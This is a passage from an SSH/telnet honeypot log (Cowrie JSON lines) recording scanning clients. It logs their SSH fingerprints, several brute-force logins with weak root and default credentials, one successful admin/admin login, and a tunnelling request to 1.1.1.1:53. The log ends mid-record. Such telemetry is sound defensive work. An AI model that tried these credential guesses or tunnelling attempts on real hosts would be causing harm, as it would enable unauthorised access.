{"eventid":"cowrie.session.closed","duration":10.320541143417358,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.839806Z","src_ip":"34.76.34.170","session":"95758bb94fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.479602575302124,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.842548Z","src_ip":"34.76.34.170","session":"475826e8f940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.640730857849121,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.846640Z","src_ip":"34.76.34.170","session":"42dbbd006dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.801236391067505,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:10.851226Z","src_ip":"34.76.34.170","session":"9808bcec69e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.19861721992493,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:18.239123Z","src_ip":"172.81.62.90","session":"8e6d1a164c51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.233505725860596,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:20.781663Z","src_ip":"128.199.8.54","session":"a5c4566de7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":57380,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ef8af2bfa6b","protocol":"ssh","message":"New connection: 165.154.137.186:57380 (10.17.0.5:22) [session: 9ef8af2bfa6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:22.370380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:22.375046Z","src_ip":"165.154.137.186","session":"9ef8af2bfa6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:22.624635Z","src_ip":"165.154.137.186","session":"9ef8af2bfa6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:23.383656Z","src_ip":"165.154.137.186","session":"9ef8af2bfa6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:24.638846Z","src_ip":"165.154.137.186","session":"9ef8af2bfa6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55778,"dst_ip":"159.203.135.109","dst_port":23,"session":"493450227543","protocol":"telnet","message":"New connection: 172.81.62.90:55778 (159.203.135.109:23) [session: 493450227543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:25:28.641708Z"}
{"eventid":"cowrie.session.closed","duration":37.85197186470032,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:06.493568Z","src_ip":"172.81.62.90","session":"493450227543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":45928,"dst_ip":"159.203.135.109","dst_port":22,"session":"95805bdf4990","protocol":"ssh","message":"New connection: 92.113.145.209:45928 (159.203.135.109:22) [session: 95805bdf4990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:24.548023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:24.554451Z","src_ip":"92.113.145.209","session":"95805bdf4990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:24.663038Z","src_ip":"92.113.145.209","session":"95805bdf4990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456","message":"login attempt [root/Aa.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:25.126947Z","src_ip":"92.113.145.209","session":"95805bdf4990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:26.236741Z","src_ip":"92.113.145.209","session":"95805bdf4990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":43810,"dst_ip":"159.203.135.109","dst_port":22,"session":"6079995d18cb","protocol":"ssh","message":"New connection: 101.47.159.125:43810 (159.203.135.109:22) [session: 6079995d18cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:44.597340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:44.604730Z","src_ip":"101.47.159.125","session":"6079995d18cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:44.854932Z","src_ip":"101.47.159.125","session":"6079995d18cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456","message":"login attempt [root/Aa.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:45.866515Z","src_ip":"101.47.159.125","session":"6079995d18cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:47.113294Z","src_ip":"101.47.159.125","session":"6079995d18cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49624,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0909504b85a","protocol":"telnet","message":"New connection: 172.81.62.90:49624 (159.203.135.109:23) [session: f0909504b85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:26:47.377421Z"}
{"eventid":"cowrie.session.closed","duration":37.806254148483276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:27:25.183559Z","src_ip":"172.81.62.90","session":"f0909504b85a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33864,"dst_ip":"159.203.135.109","dst_port":23,"session":"07048389c60c","protocol":"telnet","message":"New connection: 128.199.8.54:33864 (159.203.135.109:23) [session: 07048389c60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:32.400509Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":23520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49b0b81b539","protocol":"ssh","message":"New connection: 87.251.64.176:23520 (10.17.0.5:22) [session: b49b0b81b539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:35.533661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:35.538122Z","src_ip":"87.251.64.176","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:35.640363Z","src_ip":"87.251.64.176","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:35.947982Z","src_ip":"87.251.64.176","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:36.053605Z","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:36.156350Z","src_ip":"87.251.64.176","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:36.264871Z","src_ip":"87.251.64.176","session":"b49b0b81b539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44070,"dst_ip":"159.203.135.109","dst_port":23,"session":"288d8a43eddd","protocol":"telnet","message":"New connection: 128.199.8.54:44070 (159.203.135.109:23) [session: 288d8a43eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:39.455398Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":56598,"dst_ip":"159.203.135.109","dst_port":22,"session":"c62c4a3a8296","protocol":"ssh","message":"New connection: 92.113.145.209:56598 (159.203.135.109:22) [session: c62c4a3a8296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:45.954950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:45.959087Z","src_ip":"92.113.145.209","session":"c62c4a3a8296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:46.084941Z","src_ip":"92.113.145.209","session":"c62c4a3a8296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:46.620293Z","src_ip":"92.113.145.209","session":"c62c4a3a8296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:28:47.747838Z","src_ip":"92.113.145.209","session":"c62c4a3a8296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":38932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cea64fa4776","protocol":"ssh","message":"New connection: 101.47.159.125:38932 (159.203.135.109:22) [session: 2cea64fa4776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:02.510430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:02.515621Z","src_ip":"101.47.159.125","session":"2cea64fa4776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:02.754884Z","src_ip":"101.47.159.125","session":"2cea64fa4776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root1234567.","message":"login attempt [root/Root1234567.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:03.742826Z","src_ip":"101.47.159.125","session":"2cea64fa4776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:04.991490Z","src_ip":"101.47.159.125","session":"2cea64fa4776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.572428703308105,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:21.027698Z","src_ip":"128.199.8.54","session":"288d8a43eddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"a67380533d07","protocol":"telnet","message":"New connection: 128.199.8.54:44630 (159.203.135.109:23) [session: a67380533d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:25.090830Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61ba164435a","protocol":"telnet","message":"New connection: 128.199.8.54:45808 (159.203.135.109:23) [session: e61ba164435a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:27.094720Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47954,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f0a8af8864c","protocol":"ssh","message":"New connection: 103.149.28.157:47954 (10.17.0.5:22) [session: 1f0a8af8864c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:38.091377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:38.097136Z","src_ip":"103.149.28.157","session":"1f0a8af8864c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2